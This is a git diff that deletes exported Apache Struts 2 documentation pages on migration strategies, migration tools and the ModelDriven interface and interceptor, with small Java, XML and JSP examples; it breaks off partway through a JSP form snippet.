-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                            </div>
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/migration-strategies.html b/content/docs/migration-strategies.html
deleted file mode 100644
index d66e44e..0000000
--- a/content/docs/migration-strategies.html
+++ /dev/null
@@ -1,146 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Migration Strategies</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="migration-guide.html">Migration Guide</a>&nbsp;&gt;&nbsp;<a href="migration-strategies.html">Migration Strategies</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Migration Strategies</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14221">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14221">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14221">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14221">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14221">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14221">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent">
-<p>The migration strategy of Struts 1 developers moving to Struts 2 involves four non-exclusive paths:</p>
-<ol><li><strong>Dual processor, shared resources</strong> - Add the Struts 2.0 JARs to your exisitng Struts 1.3 application. Configure S2 to handle <code><br clear="none" class="atl-forced-newline">*.action</code> requests s and let S1 handle <code><br clear="none" class="atl-forced-newline">*.do</code> requests. S1 and S2 can run side by side, within the same web application. Teams can implement new features in the latest version, and migrate older pieces as needed. Optionally, some com [...]
-
-
-<h2 id="MigrationStrategies-Next:">Next: <a shape="rect" href="migration-tools.html">Migration Tools</a></h2>
-
-<hr>
-<p>This page originally adopted from <a shape="rect" class="external-link" href="http://wiki.apache.org/struts/MigrationStrategy">http://wiki.apache.org/struts/MigrationStrategy</a>.</p></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/migration-tools.html b/content/docs/migration-tools.html
deleted file mode 100644
index 2714a88..0000000
--- a/content/docs/migration-tools.html
+++ /dev/null
@@ -1,163 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Migration Tools</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="migration-guide.html">Migration Guide</a>&nbsp;&gt;&nbsp;<a href="migration-tools.html">Migration Tools</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Migration Tools</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13954">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13954">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13954">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13954">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13954">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13954">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>Struts 2 migration tools include the notions of </p>
-
-<ul><li>bridge objects to utilize existing s1 resources, and</li><li>utilities to convert resources to s2 equivalents.</li></ul>
-
-
-<div class="table-wrap"><table class="confluenceTable"><tbody><tr><th colspan="1" rowspan="1" class="confluenceTh"><p><img class="emoticon emoticon-warning" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/warning.png" data-emoticon-name="warning" alt="(warning)"></p></th><td colspan="1" rowspan="1" class="confluenceTd"><p> This is a whiteboard describing tools that volunteers <em>might</em> write, given sufficient  [...]
-
-
-<h2 id="MigrationTools-DualProcessor,SharedResources">Dual Processor, Shared Resources</h2>
-<ul><li>A s2 TextProvider that retrieves messages from the s1 MessageResources instance in the servlet context</li><li>An Interceptor that can apply SAF1 validations to s2 actions, converting error messages to s2 format.</li><li>An Action and/or Interceptor that executes a Commons Chain instance.</li></ul>
-
-
-<h3 id="MigrationTools-Struts1Emulation">Struts 1 Emulation</h3>
-<ul><li>Implement s2 Action interface on s1 Action; Extend Session-Aware Interceptor to set properties corresponding to s1 execute parameters and populate ActionForm; Action <code>execute()</code> invokes <code>execute(...)</code> using properties; return ActionForward name.</li><li>Extend aforementioned s1 Action Interceptor to load and process PlugIns</li></ul>
-
-
-<h2 id="MigrationTools-ConversionWizards">Conversion Wizards</h2>
-
-<ul><li>Utilize XSLT and other text processing tools to convert <code>struts-config.xml</code> to <code>struts.xml</code>, <code>validations.xml</code> to a global s2 <code>validations.xml</code>, and Struts message resources to global s2 <code>resource.properties</code>.</li><li>... convert s1 Action classes to session-aware s2 Action classes</li><li>... convert s1 JSPs to s2 JSPs (non-trivial!)</li></ul>
-
-
-<h2 id="MigrationTools-Next:">Next: <a shape="rect" href="struts-1-solutions.html">Struts 1 Solutions</a></h2>
-
-<hr>
-
-<p>This page adopted from <a shape="rect" class="external-link" href="http://wiki.apache.org/struts/MigrationTools">http://wiki.apache.org/struts/MigrationTools</a>.</p></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/model-driven-interceptor.html b/content/docs/model-driven-interceptor.html
deleted file mode 100644
index a354d63..0000000
--- a/content/docs/model-driven-interceptor.html
+++ /dev/null
@@ -1,199 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Model Driven Interceptor</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="core-developers-guide.html">Core Developers Guide</a>&nbsp;&gt;&nbsp;<a href="interceptors.html">Interceptors</a>&nbsp;&gt;&nbsp;<a href="model-driven-interceptor.html">Model Driven Interceptor</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Model Driven Interceptor</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14092">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14092">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14092">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14092">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14092">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14092">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent">
-<p>Watches for ModelDriven actions and adds the action's model on to the value stack.</p>
-
-<p></p><p> <b>Note:</b>  The ModelDrivenInterceptor must come before the both StaticParametersInterceptor and
-ParametersInterceptor if you want the parameters to be applied to the model.
-</p>
-<p> <b>Note:</b>  The ModelDrivenInterceptor will only push the model into the stack when the
-model is not null, else it will be ignored.
-</p>
-
-
-<div class="confluence-information-macro confluence-information-macro-tip"><span class="aui-icon aui-icon-small aui-iconfont-approve confluence-information-macro-icon"></span><div class="confluence-information-macro-body"><p>To create a Model Driven action, implement the <code>ModelDriven</code> interface by adding a <code>model</code> property, or at least the accessor.</p>
-
-<p><code>public Object getModel() ...</code></p>
-
-<p>In the implementation of <code>getModel</code>, acquire an instance of a business object and return it.</p>
-
-<p>On the page, you can address any JavaBean properties on the business object as if they were coded directly on the Action class. (The framework pushes the Model object onto the ValueStack.)</p>
-
-<p>Many developers use Spring to acquire the business object. With the addition of a <code>setModel</code> method, the business logic can be injected automatically.</p></div></div>
-
-
-<h2 id="ModelDrivenInterceptor-Parameters">Parameters</h2>
-
-
-<p></p><ul></ul><p></p><ul><li>refreshModelBeforeResult - set to true if you want the model to be refreshed on the value stack after action
-execution and before result execution.  The setting is useful if you want to change the model instance during the
-action execution phase, like when loading it from the data layer.  This will result in getModel() being called at
-least twice.</li></ul><p></p>
-
-
-<h2 id="ModelDrivenInterceptor-ExtendingtheInterceptor">Extending the Interceptor</h2>
-
-
-<p>There are no known extension points to this interceptor.</p>
-
-
-<h2 id="ModelDrivenInterceptor-Examples">Examples</h2>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<script class="brush: xml; gutter: false; theme: Confluence" type="syntaxhighlighter"><![CDATA[
-&lt;action name=&quot;someAction&quot; class=&quot;com.examples.SomeAction&quot;&gt;
-    &lt;interceptor-ref name=&quot;modelDriven&quot;/&gt;
-    &lt;interceptor-ref name=&quot;basicStack&quot;/&gt;
-    &lt;result name=&quot;success&quot;&gt;good_result.ftl&lt;/result&gt;
-&lt;/action&gt;
-]]></script>
-</div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/model-driven.html b/content/docs/model-driven.html
deleted file mode 100644
index 5177e6a..0000000
--- a/content/docs/model-driven.html
+++ /dev/null
@@ -1,205 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Model Driven</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="core-developers-guide.html">Core Developers Guide</a>&nbsp;&gt;&nbsp;<a href="model-driven.html">Model Driven</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Model Driven</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=2330101">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=2330101">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=2330101">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=2330101">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=2330101">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=2330101">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>Struts 2 does not have "forms" like Struts 1 did. In Struts 2 request parameters are bound directly to fields in the actions class, and this class is placed on top of the stack when the action is executed.</p><p>If an action class implements the interface <code>com.opensymphony.xwork2.ModelDriven</code> then it needs to return an object from the <code>getModel()</code> method. Struts will then populate the fields of this object with the request  [...]
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">public class ModelDrivenAction implements ModelDriven { 
-    public String execute() throws Exception {
-        return SUCCESS;
-    }
-
-    public Object getModel() {
-        return new Gangster();
-    }
-}
-</pre>
-</div></div><p>Gangster class (model):</p><div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">public class Gangster implements Serializable {
-    private String name;
-    private int age;
-    private String description;
-    private boolean bustedBefore;
-
-    public int getAge() {
-        return age;
-    }
-    public void setAge(int age) {
-        this.age = age;
-    }
-    public boolean isBustedBefore() {
-        return bustedBefore;
-    }
-    public void setBustedBefore(boolean bustedBefore) {
-        this.bustedBefore = bustedBefore;
-    }
-    public String getDescription() {
-        return description;
-    }
-    public void setDescription(String description) {
-        this.description = description;
-    }
-    public String getName() {
-        return name;
-    }
-    public void setName(String name) {
-        this.name = name;
-    }
-}
-</pre>
-</div></div><p>JSP for creating a Gangster:</p><div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: html; gutter: false; theme: Default" style="font-size:12px;">&lt;s:form action="modelDrivenResult" method="POST" namespace="/modelDriven"&gt;   
-    &lt;s:textfield label="Gangster Name" name="name" /&gt;
-    &lt;s:textfield label="Gangster Age"  name="age" /&gt;
-    &lt;s:checkbox  label="Gangster Busted Before" name="bustedBefore" /&gt;
-    &lt;s:textarea  cols="30" rows="5" label="Gangster Description" name="description" /&gt;           
-    &lt;s:submit /&gt;
-&lt;/s:form&gt;
